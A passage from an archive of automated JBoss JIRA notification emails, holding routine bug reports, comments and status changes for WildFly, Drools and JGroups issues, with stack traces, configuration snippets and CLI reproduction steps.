> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-878) Message-Driven Beans doesn't
 support DeliveryActive activation config property
In-Reply-To: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466868.1337586487000.12315.1378427824674@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-878?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802121#comment-12802121 ] 

RH Bugzilla Integration commented on WFLY-878:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 981341|https://bugzilla.redhat.com/show_bug.cgi?id=981341] from ASSIGNED to MODIFIED
                
> Message-Driven Beans doesn't support DeliveryActive activation config property
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-878
>                 URL: https://issues.jboss.org/browse/WFLY-878
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, JMS
>         Environment: Windows 64 bit
>            Reporter: Prasad Deshpande
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha3
>
>
> I get this warning on AS7.1.1 console, seems that ActivationConfigProperty DeliveryActive is not implemented by hornetq-ra, could we please have it as earlier JMS implementation of JMS had it & application that were using it will fail with AS7 now..?
> 16:04:30,794 WARN  [org.jboss.ejb3] (MSC service thread 1-16) JBAS014105: ActivationConfigProperty DeliveryActive will be ignored since it is not allowed by resource adapter: hornetq-ra
> Thanks,
> Prasad

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 01:27:03 2013
From: jira-events at lists.jboss.org (Ivo Studensky (JIRA))
Date: Fri, 6 Sep 2013 01:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1968) Connection factory isn't
 activated in generic-jms-ra.rar resource adapter after server reload with
 jts transactions mode set.
In-Reply-To: <JIRA.12499558.1377774036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499558.1377774036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499558.1377774036000.12346.1378445223578@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1968?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802131#comment-12802131 ] 

Ivo Studensky commented on WFLY-1968:
-------------------------------------

This does not seem to be an issue in WildFly. It only affects EAP. 
I don't know, however, which commit fixes it.
                
> Connection factory isn't activated in generic-jms-ra.rar resource adapter after server reload with jts transactions mode set. 
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1968
>                 URL: https://issues.jboss.org/browse/WFLY-1968
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Vladimir Rastseluev
>            Assignee: Stefano Maestri
>
> Description of problem:
> Start server with configured resource adapter and deployed generic-jms-ra.rar. After server started we can see registered and bound connection factory.
> Then we add some changes to the server to set up jts transactions mode by CLI utility. Reload the server. Connection factory isn't registered.
> Version-Release number of selected component (if applicable):
> EAP 6.1.1.ER4
> generic resource adapter: https://github.com/jbertram/generic-jms-ra
> How reproducible:
> easy
> Steps to Reproduce:
> 1. add applied generic-jms-ra.rar file to the $JBOSS_HOME/standalone/deployments directory
> 2. unpack applied module and add it to $JBOSS_HOME/modules directory
> 3. update module.xml file from org.jboss.as.ee module, adding a new dependency:
> "<module name="com.tibco.tibjms"/>"
> 4. update $JBOSS_HOME/standalone/configuration/standalone.xml, adding global modules to <subsystem xmlns="urn:jboss:domain:ee:1.1">:
> 	  <global-modules>
> 	      <module name="com.tibco.tibjms" slot="main"/>
>              <module name="org.jboss.common-core" slot="main"/>
>            </global-modules>
> 5.configure resource-adapters subsystem this way:
> <subsystem xmlns="urn:jboss:domain:resource-adapters:1.1">
>             <resource-adapters>
>                 <resource-adapter id="generic-jms-ra.rar">
>                     <archive>
>                         generic-jms-ra.rar
>                     </archive>
>                     <transaction-support>XATransaction</transaction-support>
>                     <connection-definitions>
>                         <connection-definition class-name="org.jboss.resource.adapter.jms.JmsManagedConnectionFactory" jndi-name="java:/jms/QueueConnectionFactory" pool-name="CF" use-java-context="false">
>                             <config-property name="JndiParameters">
>                                 java.naming.factory.initial=com.tibco.tibjms.naming.TibjmsInitialContextFactory;java.naming.provider.url=tcp://tibco01.mw.lab.eng.bos.redhat.com:7222
>                             </config-property>
>                             <config-property name="ConnectionFactory">
>                                 XAQCF
>                             </config-property>
>                             <security>
> 				<application/>
>                             </security>
> 			    <recovery>
> 			      <recover-credential>
> 				<user-name>tibco</user-name>
> 				<password>tibco</password>
> 			      </recover-credential>
> 			    </recovery>
>                         </connection-definition>
>                     </connection-definitions>
>                 </resource-adapter>
>             </resource-adapters>
>         </subsystem>
> 6. run server $JBOSS_HOME/bin/standalone.sh
> see - java:/jms/QueueConnectionFactory is registered
> 7. run $JBOSS_HOME/bin/cli.sh
> 8. execute commands in cli:
> -->/subsystem=jacorb/:write-attribute(name=transactions,value=on)
> -->/subsystem=transactions/:write-attribute(name=recovery-listener,value=true)
> -->/subsystem=transactions/:write-attribute(name=jts,value=true)
> -->:reload
> Actual results:
> connection factory java:/jms/QueueConnectionFactory isn't registered
> Expected results:
> connection factory java:/jms/QueueConnectionFactory is registered

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 01:43:04 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Fri, 6 Sep 2013 01:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2014) Intermittent failures in
 WSTestCase.testManagementDescription
In-Reply-To: <JIRA.12500161.1378413120000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500161.1378413120000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500161.1378413120000.12350.1378446184202@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2014?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802132#comment-12802132 ] 

Alessio Soldano commented on WFLY-2014:
---------------------------------------

Here is the exception received:

{noformat}
java.util.concurrent.TimeoutException
java.util.concurrent.TimeoutException
    at java.util.concurrent.FutureTask$Sync.innerGet(FutureTask.java:258)
    at java.util.concurrent.FutureTask.get(FutureTask.java:119)
    at org.jboss.as.test.integration.common.HttpRequest.execute(HttpRequest.java:50)
    at org.jboss.as.test.integration.common.HttpRequest.get(HttpRequest.java:80)
    at org.jboss.as.test.smoke.webservices.WSTestCase.testManagementDescription(WSTestCase.java:97)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
    at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
    at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
    at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
    at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
    at sun.reflect.GeneratedMethodAccessor39.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:94)
    at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
    at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
    at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
    at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
    at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
    at org.jboss.arquillian.container.test.impl.execution.ClientTestExecuter.execute(ClientTestExecuter.java:53)
    at sun.reflect.GeneratedMethodAccessor9.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:94)
    at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
    at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
    at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createContext(ContainerEventController.java:142)
    at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createTestContext(ContainerEventController.java:129)
    at sun.reflect.GeneratedMethodAccessor8.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:94)
    at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
    at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
    at sun.reflect.GeneratedMethodAccessor1.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:94)
    at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
    at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
    at sun.reflect.GeneratedMethodAccessor3.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:94)
    at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
    at org.jboss.a ...
{noformat}
                
> Intermittent failures in WSTestCase.testManagementDescription
> -------------------------------------------------------------
>
>                 Key: WFLY-2014
>                 URL: https://issues.jboss.org/browse/WFLY-2014
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Brian Stansberry
>            Assignee: Alessio Soldano
>
> This pops up quite frequently for a long time now (weeks or months):
> https://github.com/wildfly/wildfly/pull/5009#issuecomment-23898664
> I'm going to send a PR to @Ignore the test.
> Also, IMHO this test method doesn't belong in smoke.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 01:45:04 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Fri, 6 Sep 2013 01:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2014) Intermittent failures in
 WSTestCase.testManagementDescription
In-Reply-To: <JIRA.12500161.1378413120000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500161.1378413120000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500161.1378413120000.12357.1378446304212@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2014?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802133#comment-12802133 ] 

Alessio Soldano commented on WFLY-2014:
---------------------------------------

Brian, can you please link previous failures or tell if the exception was always the same / #testManagementDescription method only was failing?
Moreover, as you think this test does not belong in smoke, where would you see it? Thanks.
                
> Intermittent failures in WSTestCase.testManagementDescription
> -------------------------------------------------------------
>
>                 Key: WFLY-2014
>                 URL: https://issues.jboss.org/browse/WFLY-2014
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Brian Stansberry
>            Assignee: Alessio Soldano
>
> This pops up quite frequently for a long time now (weeks or months):
> https://github.com/wildfly/wildfly/pull/5009#issuecomment-23898664
> I'm going to send a PR to @Ignore the test.
> Also, IMHO this test method doesn't belong in smoke.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 02:07:04 2013
From: jira-events at lists.jboss.org (Aleksandar Kostadinov (JIRA))
Date: Fri, 6 Sep 2013 02:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2015) generate example gossip
 discovery standalone-ha profiles
In-Reply-To: <JIRA.12500170.1378447577869@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500170.1378447577869@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500170.1378447577869.12371.1378447624025@jira02.app.mwc.hst.phx2.redhat.com>

Aleksandar Kostadinov created WFLY-2015:
-------------------------------------------

             Summary: generate example gossip discovery standalone-ha profiles
                 Key: WFLY-2015
                 URL: https://issues.jboss.org/browse/WFLY-2015
             Project: WildFly
          Issue Type: Feature Request
          Components: Clustering, Documentation
    Affects Versions: 8.0.0.Alpha4
            Reporter: Aleksandar Kostadinov
            Assignee: Aleksandar Kostadinov


$Summary in a similar way as s3_ping configuration files. While S3 is available for use no matter if machines are running in amazon EC2 or not, there might be users of other cloud providers that want to avoid bein stuck to S3.
Having available example gossip discovery configuration files would help to have such users easily running clusters on wildfly in any environment.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 02:18:03 2013
From: jira-events at lists.jboss.org (Aleksandar Kostadinov (JIRA))
Date: Fri, 6 Sep 2013 02:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2015) generate example gossip
 discovery standalone-ha profiles
In-Reply-To: <JIRA.12500170.1378447577000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500170.1378447577000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500170.1378447577000.12375.1378448283492@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2015?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Aleksandar Kostadinov updated WFLY-2015:
----------------------------------------

    Git Pull Request: https://github.com/wildfly/wildfly/pull/5012

    
> generate example gossip discovery standalone-ha profiles
> --------------------------------------------------------
>
>                 Key: WFLY-2015
>                 URL: https://issues.jboss.org/browse/WFLY-2015
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering, Documentation
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Aleksandar Kostadinov
>            Assignee: Aleksandar Kostadinov
>              Labels: cluster, clustered, clustering, discovery, jgroups
>
> $Summary in a similar way as s3_ping configuration files. While S3 is available for use no matter if machines are running in amazon EC2 or not, there might be users of other cloud providers that want to avoid bein stuck to S3.
> Having available example gossip discovery configuration files would help to have such users easily running clusters on wildfly in any environment.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 02:34:03 2013
From: jira-events at lists.jboss.org (Jan Martiska (JIRA))
Date: Fri, 6 Sep 2013 02:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.12387.1378449243507@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jan Martiska resolved WFLY-2009.
--------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done


merged.
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 02:38:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Fri, 6 Sep 2013 02:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.12391.1378449483495@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-253:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 02:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 6 Sep 2013 02:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.12402.1378450023819@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802143#comment-12802143 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714] from ASSIGNED to POST
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:02:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12408.1378450923543@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802144#comment-12802144 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

Implemented sending no digest with a VIEW message to existing members (as suggested above): an existing member removes non-members and adds new members (at seqno 0) to the xmit-table in NAKACK and NAKACK2.
The result is that we send the full view and digest only to new joiners (JoinRsp), but view changes to existing members are small messages.
                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:19:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12422.1378451944163@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802148#comment-12802148 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

